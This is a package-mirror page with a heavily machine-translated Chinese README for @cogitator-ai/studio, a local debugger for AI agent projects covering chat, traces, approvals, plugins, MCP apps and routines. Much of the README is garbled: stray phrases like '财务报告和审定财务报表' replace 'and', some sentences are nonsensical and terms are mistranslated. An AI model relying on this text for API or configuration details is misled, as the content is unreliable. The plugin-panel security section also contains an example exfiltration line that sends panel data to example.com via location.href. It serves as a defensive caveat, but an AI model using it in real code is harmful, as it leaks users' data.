# @cogitator-ai/studio 中文文档

规范地址：https://npmcn.com/package/%40cogitator-ai/studio/

版本：0\.10\.1
npm 元数据更新时间：2026-10-29T00:50:33.954Z
中文译文更新时间：2026-11-10T10:02:19.715Z
软件包许可：MIT

本文由上游 README 翻译，可能存在偏差，请结合原文核对 API、命令与配置。版权与许可归原作者所有。

原始 npm 页面：https://www.npmjs.com/package/%40cogitator-ai/studio
原文对照：https://npmcn.com/package/%40cogitator-ai/studio/?lang=original
源码仓库：https://github.com/cogitator-ai/Cogitator-AI

## 关键信息（来自 npm 元数据）

- 包体积（解压后）：2.2 MB，105 个文件
- 模块格式：ES Module
- TypeScript 类型：包内自带
- Node.js 要求：\>=22\.12\.0
- 运行依赖：5 个
- peer 依赖：tsx \>=4\.0\.0，@cogitator-ai/swarms \>=0\.15\.12，@cogitator-ai/workflows \>=0\.15\.6
- 首次发布：2026-10-07T14:34:51.973Z
- 最新版本发布：2026-10-29T00:50:33.762Z
- 近 30 天下载量：10495（2026-10-11 至 2026-11-09，npm 官方下载统计）
- 已发布版本数：57（近 12 个月 57 个）

## 中文简介

Cogitator Studio:一个本地调试器,用于代理项目,包括聊天、追踪、成本、批准、工作流程运行和时间旅行叉

## 安装

```sh
npm install @cogitator-ai/studio
```

也可以使用：`pnpm add @cogitator-ai/studio`、`yarn add @cogitator-ai/studio`、`bun add @cogitator-ai/studio`

## README

# 校对:soup

Cogitator Studio:Cogitator代理项目的一个本地调试器. 与一个项目的每个代理商聊天,批准需要它的工具调用,读取每个运行的追踪和成本,运行工作流程并从一个节点重新运行,在活图上观看一组代理商通过其任务列表工作,从任何步骤叉出一个跑来查看不同的输入或工具结果的变化.

指南 : [cogitator.app/docs/geting-started/studio(启动)](https://cogitator.app/docs/getting-started/studio)

## 开始吧

在由 `create-cogitator-app` 或者说 `cogitator init`数字 :

```bash
pnpm dev:studio          # the script every generated project has
npx cogitator dev        # the same, from @cogitator-ai/cli
```

它打开了http://localhost:4321(取用时的下一个自由端口). 工作室发现代理 工作流程和群集 `src/cogitator.ts`,登记册生成的项目有:导出运行时间为 `cogitator` 其余为 `agents`, (中文(简体) ), `workflows` 财务报告和审定财务报表 `swarms`。 。 。 .

## 它会做什么

-   **概览**:项目一览一览,其运行,成功率,花在活物和美元上,p50和p95的耐用度,过去两周的活动,每个代理和工作流程都使用它运行的模型以及运行的频率.
-   **聊天** 使用任何代理 : 作为 Markdown 提供的流化答案, 带有突出显示的代码和 LaTeX 数学 ()`\(...\)`, (中文(简体) ), `\[...\]` 财务报告和审定财务报表 `$$...$$`单曲 `$` 保留一美元),推理,工具调用为一行,每行打开它的参数和结果,错误,停止,以及线程按日分组. 一个没有内存的项目从工作室得到一个,所以线程保持他们的对话,同样在重启后.
-   **核准**: 工具调用 `requiresApproval` (或一个a) [权限规则](https://cogitator.app/docs/tools/permissions) 在谈话中等待着它的论点, 它为什么问和它背后的规则, 直到你批准它,拒绝它的理由 模型看到,或 **总是允许** 用于保存按钮旁显示的建议规则(`POST /api/approvals/:id` 与 `remember: true`) (中文(简体) ). 聊天标记它总是只允许运行时间保存规则.
-   **工具问题**: 工作室不回答工具询问的问题 `context.interrupt()`。这样的运行结束 `failed` 错误,将每个问题命名(`paused to ask confirm_plan ("Go ahead?")`)),而记忆树显示了与它的问题相关的暂停. 将前一步的跑道叉开,并嘲笑工具的结局继续过它.
-   **追踪**:每次作为模型调用、工具调用和运行代理工具的瀑布运行开始,在启动这些工具的调用下筑起巢穴,并有时间,符号和每个模型调用的成本(从模型注册处定价, `unpriced` 在未知模型中)和总数,在运行时进行活计. 点击一个跨度以了解其细节:缓存和推理符,结束原因,一个模型调用的指示,即时和响应,参数和一个工具调用的结果. 工作室只为自己的跑步询问此内容的运行时间,因此项目的其他观察者仍会得到没有它的跨度.
-   **工作流量**:运行一个带有输入状态,在它的图上监视每个节点的状况和时间,读取每个节点返回的内容(一个代理写成的文本作为Markdown,生的JSON是一个点击去),从一个节点重跑,保留它生产之前的节点.
-   **军火和代理小组**:用输入来运行一团登记册,其代理在其下嵌有其痕迹和成本. A 类 [团队](https://cogitator.app/docs/swarms/agent-teams) 显示为运行时的活图 : 主角及其成员的身份、 轮回和任务, 每对交换任务或消息的箭头, 待定、 正在进行中和完成列中共享的任务列表( 单击任务结果), 代理商之间的信件, 标记为来自代理商而不是用户。 工作室从配置中新建了一组 `swarms` 每次运行,使用 `@cogitator-ai/swarms` 从项目.
-   **待办事项**: 与 `todos: true` 在 Todos 面板中显示其待办事宜列表, 每次代理机调用时都会更新实况 `write_todos`,然后从运行的开始,运行从其线程中的列表开始.
-   **内存树**页:1 `Tree` 聊天(或)旁边的按钮 `T`)打开一个有线条每个分支的面板,作为其内存保存. 叉子和重放树枝 从哪里开始,一个树枝 一个工作室开始的树枝被贴上标签 `fork`,事件(模型更改,暂停等待批准,中断)在行中显示,活动分支被突出显示并标记其最后一个条目 `next message`下一个消息会追上 每个条目都会链接到写它的运行. 面板显示最新的500个条目,一个没有分支的内存显示其条目为列表.
-   **倒转并叉出一线**:内存树的每个条目在悬浮时都得到两个按钮:在显示什么变化的干线运行后倒回线程,或者从那里叉入一个新的线程. 与 [备案检查站](https://cogitator.app/docs/core/file-checkpoints) 两者都能把特工的工作空间恢复到那个程度 复发者转而停留在聊天中,被淡出,并有一个叉线链接回它从哪里来.
-   **时间旅行叉**: 选择已完成运行的一步(在每个工具调用之前),更改输入,添加上下文或替换工具结果,然后从那里运行. 原作和分叉相并列显示,工具调用不同突出显示. 一个写给记忆的跑的分叉会从跑的起步处走到其线条的分枝上,因此它在记忆树上显示,在对话中从不分裂.
-   **插件**: 工程运行时间的每个插件, 及其状态、 添加的内容、权限和诊断、 重新装入并启用或禁用, 面板插件都添加, 每个插件在一个沙盒框中, 查看 [插件](https://npmcn.com/package/%40cogitator-ai/studio/#readme-plugins)。 。 。 .
-   **收件箱和时间表**: 常规 [`experimental_triggers`](https://cogitator.app/docs/core/triggers)是什么开始他们和他们来。 启动触发器,现在运行一个触发器,暂停并恢复它,读取结果和失败,批准或拒绝等待并回答其问题的运行,看 [常规](https://npmcn.com/package/%40cogitator-ai/studio/#readme-routines-inbox-and-schedules)。 。 。 .
-   **历史**: 运行和线程保存在 `.cogitator/studio/` 作为JSON文件,可按输入,输出和出错进行搜索,并被代理,工作流程或类型过滤. 运行一个被停止的工作室 留下标记失败.
-   **键盘**数字 : `⌘K` (单位:千美元)`Ctrl+K`打开一个针对代理、工作流程、整个运行历史和行动的命令调色板, `/` 搜索页面, `G O` 财务报告和审定财务报表 `G R` 到概览和运行, `J` 财务报告和审定财务报表 `K` 走运行列表和追踪, `N` 启动线程, `T` 打开记忆树,和 `?` 列出每个快捷键.
-   **主题**:光和暗,跟随系统直到你选择一个,浏览器记得它.

## 插件

这个 **插件** 页面( 在侧边栏和命令调色板中) 列出项目运行时间的插件, 其中的插件 [`experimental_plugins`](https://cogitator.app/docs/core/plugins) 给出:核心自身的插件,代码中的插件,插件文件夹和已安装的插件. 每张卡都显示插件的ID,版本,出处,显示格式,状态(`active`, (中文(简体) ), `disabled`, (中文(简体) ), `blocked`, (中文(简体) ), `failed` 或者说 `unloaded`)及其出错,生成,是否在自己的进程中孤立运行,决定它被启用的是什么,它的依赖性,它添加了什么(工具,技能,代理,命令,钩子,MCP服务器,LLM后端,中间软件,面板和常规),它的许可规则和诊断. 当运行时插件改变时,页面会实时更新 .

-   **重新装入** 在旧的插件旁边建起新一代的插件,一旦加载就互换. 重新装入失败者会说出它的错误 旧世代会继续服役.
-   **启用** 财务报告和审定财务报表 **禁用** 打开或关闭此运行时间的插件, 在设置文件( 管理下的设置仍然赢得) , 并装入或卸下它添加的内容 。 核心的自有插件总是打开.
-   配置无的工程 `experimental_plugins` 只显示核心本身的插件,而工作室从不将插件加载进去,因此所安装的插件不会出现在一个没有要求它们的项目中. 在此不提供重新装入、 启用和禁用 .

### 小组讨论会

一个板块插件注册, `ui.panels` 在其表内或 `context.registerPanel({ id, title, html, handlers })` 代码( 参见 [工作室面板](https://cogitator.app/docs/core/plugins#studio-panels)),列在 **小组讨论会** 在侧边栏中打开一个框式沙盒 `allow-scripts` 只是,从来没有 `allow-same-origin`:该页面运行时来源不透明,无法到达工作室,其API或cookie. 页面使用内容- 安全政策, 允许它运行自己的内置脚本和样式并显示 `data:` 图像、字体和媒体,从任何地址装入或获取任何信息:否 `fetch`,没有外部脚本,样式或图像,没有形式帖子. 也一样 `X-Content-Type-Options: nosniff`, (中文(简体) ), `Referrer-Policy: no-referrer`, (中文(简体) ), `Cross-Origin-Opener-Policy: same-origin`, (中文(简体) ), `X-DNS-Prefetch-Control: off` (单位:千美元) `Permissions-Policy` 关闭设备,传感器,支付,证书,剪贴板,屏幕捕获和全屏。 政策沙盒在它自己打开URL时也会将页面放入其中,而沙盒则防止它打开窗口,导航工作室的页面并下载文件.

页面通过父窗口对其插件进行交谈 :

```html
<script>
  let next = 0;
  const pending = new Map();
  window.addEventListener('message', (event) => {
    const data = event.data;
    if (data?.type !== 'cogitator:response' || !pending.has(data.id)) return;
    const { resolve, reject } = pending.get(data.id);
    pending.delete(data.id);
    if ('error' in data) reject(new Error(data.error));
    else resolve(data.result);
  });
  function call(method, params) {
    return new Promise((resolve, reject) => {
      const id = ++next;
      pending.set(id, { resolve, reject });
      window.parent.postMessage({ type: 'cogitator:request', id, method, params }, '*');
    });
  }
</script>
```

一个请求是: `{ type: 'cogitator:request', id, method, params }`数字 : `id` 是一个字符串(最多200个字符)或页面选择的限定数字来匹配答案, `method` 名称 `handlers`,以及 `params` 是任何JSON值,由处理者获得。 录音室回答 `{ type: 'cogitator:response', id, result }` 处理者以JSON的身份回来 `{ type: 'cogitator:response', id, error }` 与处理器扔出或面板没有此类处理器时的信息相连接。 只有面板自己框架的信息被解答:其他窗口和一个在另一个来源上导航到的框架的页面被忽略,一个在框架被重新装入后产生的答案被丢弃. **重新装入页面** 重新装入相框,并重新装入插件与新一代重装.

**一个面板还能发出什么.** 任何浏览器政策都不允许页面浏览自己的帧,一个页面可以将它持有的内容放入它去的地址(`location.href = 'https://example.com/?d=' + data`) (中文(简体) ). 工作室的网页是 `frame-src 'self'`,因此浏览器拒绝将帧导航到另一个站点,工作室关闭了一个面板,其帧装入了第二个文档:帧被通知所取代,插件不再回答页面,并且 **又打开** 重新装入页面。 导航仍然会从面板关闭前开始,因此一个页面可以通过其中的数据到达工作室自己的地址,并且没有Content-Security-Policy封面的频道,如WebRTC连接的DNS查询,保持开放. 将一个面板视为能够发送任何它的处理器返回到网络中:插件作者不应该将秘密还给一个面板,用户应该只打开他们信任的以这些处理器能够读取的插件的面板.

### 插件端点

| 请求 | 体质 | 答复 |
| --- | --- | --- |
| `GET /api/plugins` |  | `PluginsState`数字 : `available`, (中文(简体) ), `configured` 财务报告和审定财务报表 `plugins` (单位:千美元)`PluginRecord[]`(中文(简体) ) |
| `POST /api/plugins/:id/reload` | `{}` | `PluginActionResult`数字 : `results` (单位:千美元)`{ id, ok, generation, error? }[]`和 `plugins` |
| `POST /api/plugins/:id/enabled` | `{ enabled: boolean }` | `PluginActionResult` |
| `GET /api/plugins/:id/panels/:panel` |  | 面板的一页, `text/html` 与上述政策有关的 |
| `POST /api/plugins/:id/panels/:panel/call` | `{ method: string, params? }` | `{ result }` |

Ids是 URL 编码(`board%40code` 页:1 `board@code`尸体是JSON,就像其他职位一样。 糟糕的正体回答 400 , 没有处理器的面板和使核心本身的插件失效的面板、 未知的插件或面板回答 404 , 重新装入或启用到一个没有操作的工程中 `experimental_plugins` 409, 以及一个处理器 扔出500, 它的信息是 `error`。事件流发送 `{ type: 'plugins', plugins }` 当运行时间插件更改时.

## MCP 应用程序

带有工具的工具 [MCP 应用程序](https://cogitator.app/docs/integrations/mcp#mcp-apps) (电话分机) `io.modelcontextprotocol/ui`),例如MCP服务器的工具,该服务器 `_meta.ui.resourceUri` 名称 a `ui://` 应用程序或工具 `app` 与 `mcpApp()`,在聊天和运行页面中显示其每次通话下的应用程序。 工作室通过该工具读取该应用程序(`tool.app.read()`),从它自己的地址为它的页面服务,并用沙箱框框 `allow-scripts` 只有,所以应用程序运行 一个不透明的来源, 从来没有工作室, 像插件面板做的。 该页面提供内容-安全政策,其来源来自应用程序在 `_meta.ui.csp`: 内置脚本和样式, `data:` 图像、字体和媒体, `connectDomains` 页:1 `fetch` 和网络软件, `resourceDomains` 用于脚本、样式、图像、字体和媒体, `frameDomains` 用于嵌入式框架和 `baseUriDomains` 页:1 `<base>`没有别的 一个宣布无人到达地址的应用程序。 已声明的无源值(关键字,将结束指令的值)被忽略 。 应用程序需要的特性 `_meta.ui.permissions` (相机,麦克风,地理定位,剪贴板写) 去它的帧 `allow` 属性及其属性 `Permissions-Policy`其他的都关了.

工作室是应用软件的主持人 通过ex-apps `AppBridge`:它告诉应用的调用论点(`ui/notifications/tool-input`及其结果(`tool-result`,带有服务器的媒体块及其 `structuredContent`),或失败(`tool-cancelled`),按应用程序的要求大小框架(`ui/notifications/size-changed`)并在新标签中打开它所要求的网页链接。 工具调用应用程序制作( :`tools/call`)前往应用程序来自的服务器,并且只到对应用程序开放的工具(a`visibility` 与 `app`,或无). 电话是按代理商的许可发出的,因为代理商的电话是:运行时间的规则和代理商的规则(工具按其 `mcp__<server>__<tool>` ),钩子和护栏决定,一个被拒绝的呼叫以出错回答应用程序,一个规则要求的呼叫,或者一个需要批准的工具的呼叫(它的服务器标记它具有破坏性,或者适配器的) `requiresApproval` 等那个人:卡片显示 **应用程序要求打电话** 和争论, 和呼叫一按 **允许**时 **拒绝** 以错误回答应用程序 。 一个网页是一个主机MCP Apps要求将一个沙盒代理放在它自己和app之间的一个来源上. 工作室获得同样的孤立而无一例外:应用程序自己的帧来源不透明,政策作为页头来袭无法改变. 专款 `domain` 一个应用要求是不被尊重的.

| 请求 | 体质 | 答复 |
| --- | --- | --- |
| `GET /api/agents/:agent/tools/:tool/app` |  | 应用程序对其框架的要求是: `uri`, (中文(简体) ), `csp`, (中文(简体) ), `permissions`, (中文(简体) ), `prefersBorder`没有 HTML |
| `GET /api/agents/:agent/tools/:tool/app/view` |  | 应用程序的页面, `text/html` 与上述政策有关的 |
| `POST /api/agents/:agent/tools/:tool/app/call` | `{ name, arguments?, approved? }` | `{ status: 'done', result }`,或 `{ status: 'approval', tool }` 在允许通话之前 |

没有应用软件的代理或工具回答404,来自一个应用软件的电话可能不呼叫工具403.

## 常规:收件箱和时间表

运行时间配置的项目 [`experimental_triggers`](https://cogitator.app/docs/core/triggers) 在侧边栏和命令调色板中再得到两页.

**时间表** 列出常规,代码,常规存储和插件中的常规,每个程序都有它的任务,它运行的代理或工作流程,它的重叠规则,它运行的线程以及它运行或排队的运行. 每个触发器都显示其类型,它的反应(一个时刻表的克龙表达和时区,一个webhook的事件),它是否在上,它的下一次发生,它最后一次发射时以及多久一次. **快点跑** 作为个人,用卡片的可选文本作为事件的文本,用手点出扳机 **暂停** 财务报告和审定财务报表 **继续** 关了又关了 下面是待定的时间表条目,克龙触发器 和任务代理给自己 `schedule_task`以及最新50次射击 及其状态、来源、运行和理由.

工作室从不自行启动扳机管理器,因为例行公事可能叫真正的模型:扳机是用起步的 **开始** 在页面上方停下来 **停下来**,然后重新装入项目后,它们就停止了。 在那之前,计时器不会起火,克龙触发器还没有计时器进入,而现在计时器进入的跑则被拒绝,而现在的跑则无论是哪种方式,都有效.

**收件箱** 列出最新的常规,首先是结果、失败、批准和问题,由Unread、All(没有存档)或Archived和按种类过滤,并更新现场。 一个项目显示其摘要和整个结果,它的常规,触发,源,运行和线程(当工作室保持该运行或线程时链接),可以被标记为读取或未读并存档. 批准被批准或拒绝,其理由为模型读取,一个问题在文本中被解答,当它被解说为"JSON"时作为"JSON"发送. 常规工作流程的请求取其类型要求的答案:批准或拒绝,其选择之一(被认可为选择值),文本,或评分数字. 运行继续,结果作为新项目来到收件箱,被回答的被标记为回答并存档. 仍然等待的存档项目可以被回答,一个被回答的项目无论地位如何都不能被回答. 边栏显示旁边的未读数 **收件箱**。 。 。 .

常规运行的批准也可以通过 `POST /api/approvals/:id`,聊天的核准使用路线: ID 工作室知道作为聊天的核准方式,如前所述,否则该路线会通过代理商核准(批准或拒绝项目的行动)的工具调用ID来寻找等待其上的收件箱项目 `approvalId` 工作流程的批准或项目本身的ID。 特工物品被回答 `{ decisions: { [toolCallId]: { approved, reason? } } }`,每批准项目时,当项目id,一个工作流程与 `{ decision: approved }`。答案是: `{ decided: true, inboxItemId, result }`,或 `{ decided: false }` 当没有什么等待 id.

### 常规终点

| 请求 | 体质 | 答复 |
| --- | --- | --- |
| `GET /api/schedules` |  | `TriggersState`数字 : `configured`, (中文(简体) ), `started`, (中文(简体) ), `routines`, (中文(简体) ), `schedules` 财务报告和审定财务报表 `history` |
| `POST /api/schedules/start` | `{}` | `TriggersState` |
| `POST /api/schedules/stop` | `{}` | `TriggersState` |
| `POST /api/schedules/:id/run` | `{}` | `TriggersState`接下来的民意调查发生火灾 |
| `POST /api/schedules/:id/pause` | `{}` | `TriggersState` |
| `POST /api/schedules/:id/resume` | `{}` | `TriggersState` |
| `POST /api/triggers/:id/fire` | `{ text? }` | `TriggerFireResult`数字 : `status` (单位:千美元)`started`, (中文(简体) ), `queued`, (中文(简体) ), `skipped`, (中文(简体) ), `runId` 更多 |
| `GET /api/inbox?status=&kind=` |  | `InboxListing`数字 : `configured`, (中文(简体) ), `items` (单位:千美元)`InboxItemRecord[]`和 `unread` |
| `POST /api/inbox/:id/read` | `{}` | 项目 |
| `POST /api/inbox/:id/unread` | `{}` | 项目 |
| `POST /api/inbox/:id/archive` | `{}` | 项目 |
| `POST /api/inbox/:id/respond` | `{ decisions?, defaultDecision?, responses?, decision?, respondedBy? }` | `TriggerFireResult` 运行中 |

触发码是 `<routineId>.<triggerId>` (单位:千美元)`digest.morning`) (中文(简体) ). `:id` 联 合 国 `run` 是一个列表条目 `pause` 财务报告和审定财务报表 `resume` 时刻表输入,扳机或常规:一个常规的克龙扳机的入场会通过扳机被暂停,所以扳机的状态是相同的. `status` 带 `unread`, (中文(简体) ), `read` 财务报告和审定财务报表 `archived` 以逗号分隔,或 `all`,并列出每个项目,但被忽略的存档项目除外. `kind` 带 `result`, (中文(简体) ), `approval`, (中文(简体) ), `question` 财务报告和审定财务报表 `failure` 同样的方式, `limit` 最多为500(默认为100)。 无项目 `experimental_triggers` 答题 `GET /api/schedules` 财务报告和审定财务报表 `GET /api/inbox` 与 `configured: false` 里面什么都没有 409的每一个变化 因为它是一个没有配置的触发器的开始 一个未知的触发器,调度输入器或物品回答404,一个现在被暂停的输入器或未启动的触发器的运行,一个糟糕的身体或查询400. 事件流发送 `{ type: 'inbox', change, unread }` 每换一个收件箱, `change` 状态 `{ type: 'added' | 'updated', item }` 或者说 `{ type: 'deleted', id }`。 。 。 .

## 如何运作

```
browser  ──HTTP, SSE──▶  studio server (cogitator dev)  ──IPC──▶  runtime host (child process)
  React UI                 run store in .cogitator/studio           your project, loaded with tsx
                           file watcher                             cogitator.observe(), TimeTravel,
                                                                    WorkflowManager
```

-   这个 **运行时间主机** 是装入的子进程 `.env` 财务报告和审定财务报表 `src/cogitator.ts` 与tsx并用自己的运行时间,内存和工具运行项目. 它看着每跑一次 `cogitator.observe()`,因此运行时也可以看到从同一运行时间开始的代理工具,并将它们与启动它们的请求联系起来 `AsyncLocalStorage`叉子使用项目的 `TimeTravel` 设有检查站;工作流程运行于 `WorkflowManager` 有文件检查点,这是从一个节点开始的重新运行.
-   这个 **服务器** 保持运行和线程,价格模型调用,将嵌入的运行置于工具调用下,其周期在启动时是开放的,并将每个更改推向浏览器,以超过服务器发送的事件.
-   当一个文件下 `src/`, (中文(简体) ), `cogitator.yml`, (中文(简体) ), `.env`, (中文(简体) ), `package.json` 或者说 `tsconfig.json` 更改时,主机再次以新代码开始:服务器和浏览器停留,运行时会以原因被标记失败.

## 警卫

服务器监听 `127.0.0.1` 只回答请求 `localhost`,因此另一个站点无法通过DNS重新绑定到达,并拒绝跨站点. `--host 0.0.0.0` (或任何其他地址)向网络打开,并需要在其URL中打印出随机的令牌;令牌保存在一个 `HttpOnly`, (中文(简体) ), `SameSite=Strict` 初访后做饼干.

## API 密码

```ts
import { startStudio } from '@cogitator-ai/studio';

const studio = await startStudio({ projectDir: process.cwd(), port: 4321 });
console.log(studio.url);
await studio.ready();
// ...
await studio.close();
```

| 选项 | 默认 | 它会做什么 |
| --- | --- | --- |
| `projectDir` | 所需经费 | 运行的项目 |
| `host` | `127.0.0.1` | 要监听的界面; 其他需要符号的 |
| `port` | `4321` | 端口,下一个免费,除非 `strictPort` |
| `token` | 超越回转的随机 | 托肯请求必须携带 |
| `watch` | `true` | 当工程文件更改时重新加载 |
| `studioDir` | `.cogitator/studio` | 历史所在的地方 |
| `log` |  | 接收工程输出 |
| `price` | 示范登记册 | 从模型和符号中定价一个模型调用 |

用户界面使用的HTTP API也向脚本开放: `GET /api/state`, (中文(简体) ), `GET /api/runs?target=&kind=&q=`, (中文(简体) ), `GET /api/runs/:id`, (中文(简体) ), `GET /api/threads/:id`, (中文(简体) ), `GET /api/threads/:id/tree` 为线条的记忆树, `POST /api/threads/:id/rewind` 财务报告和审定财务报表 `POST /api/threads/:id/fork` 在入口处倒回一线或叉子, `POST /api/chat`, (中文(简体) ), `POST /api/runs/:id/stop`, (中文(简体) ), `POST /api/approvals/:id`, (中文(简体) ), `POST /api/runs/:id/fork`, (中文(简体) ), `POST /api/workflows/:key/run`, (中文(简体) ), `POST /api/runs/:id/rerun`, (中文(简体) ), `POST /api/swarms/:key/run` (单位:千美元)`{ input }`, (中文(简体) ), `GET /api/stats` 概览总数,以及 `GET /api/events` 用于事件流。 形状是从包中导出的类型(`RunRecord`, (中文(简体) ), `ThreadRecord`, (中文(简体) ), `ThreadTree`, (中文(简体) ), `TreeEntry`, (中文(简体) ), `StudioStats`, (中文(简体) ), `StudioEvent` 以及别的。 A 类 `RunRecord` 携带 `memory` (单位:千美元)`MemoryPlace`数字 : `threadId`, (中文(简体) ), `branchPoint`, (中文(简体) ), `leafId`当它的运行写给记忆。 A 类 `ThreadRecord` 列出运行的倒转 `rewoundRuns`并有一个叉子 `forkOf` (单位:千美元)`threadId`, (中文(简体) ), `entryId`和 `base`,它从信息开始。 每个 `RunRecord` 有一个 `revision` 跑道的每个变化都会上升 `token` 财务报告和审定财务报表 `reasoning` 事件带有它们带给它的修正: 将快照与事件流相混合的客户端将副本保存在更高的一个. 一团跑来 `kind: 'swarm'`,一个团队运行 `team` (单位:千美元)`TeamRecord`:其代理人、任务、任务和信息) `applyTeamEvent` 从 `team:*` 暴动事件.

## 许可证

麻省理工学院

## 常见问题

### @cogitator-ai/studio 是什么？

Cogitator Studio:一个本地调试器,用于代理项目,包括聊天、追踪、成本、批准、工作流程运行和时间旅行叉

### 如何安装 @cogitator-ai/studio？

在项目目录运行 npm install @cogitator-ai/studio，或使用 pnpm add / yarn add / bun add。

### @cogitator-ai/studio 支持 TypeScript 吗？

支持。包内自带 TypeScript 类型声明（package\.json 声明了 types 入口），安装后即可获得类型提示，无需再安装 @types 包。

### @cogitator-ai/studio 支持 ESM 还是 CommonJS？

以 ES Module 形式发布，推荐使用 import 引入。在 CommonJS 项目中，Node\.js 20\.19\+ / 22\.12\+ 可以直接 require\(\) 不含顶层 await 的 ES Module，更早的版本需要改用动态 import\(\)。

### @cogitator-ai/studio 需要什么版本的 Node\.js？

package\.json 的 engines 字段要求 Node\.js \>=22\.12\.0。版本不符时 npm 默认只给出警告，开启 engine-strict 后会拒绝安装。

### @cogitator-ai/studio 可以商用吗？

@cogitator-ai/studio 使用 MIT 许可。宽松许可：允许商业使用、修改和再分发，通常只需在分发时保留原版权与许可声明。以上为概括，不构成法律意见，请以许可原文为准。

### @cogitator-ai/studio 的下载量有多少？

根据 npm 官方下载统计，@cogitator-ai/studio 在 2026/10/11 – 2026/11/09 这 30 天内被下载 10,495 次，日均约 350 次。下载量会把 CI 构建、镜像同步和作为其他包依赖的安装一并计入，适合横向比较热度，不能直接等同于使用人数。

### @cogitator-ai/studio 还在维护吗？

最新版本 0\.10\.1 发布于 2026/10/29（12 天前）；至今共发布 57 个版本，其中过去 12 个月发布了 57 个；首次发布于 2026/10/07。发布频率只是参考信号：功能稳定的工具可能很少需要更新，建议结合源码仓库的 issue 和提交记录判断。

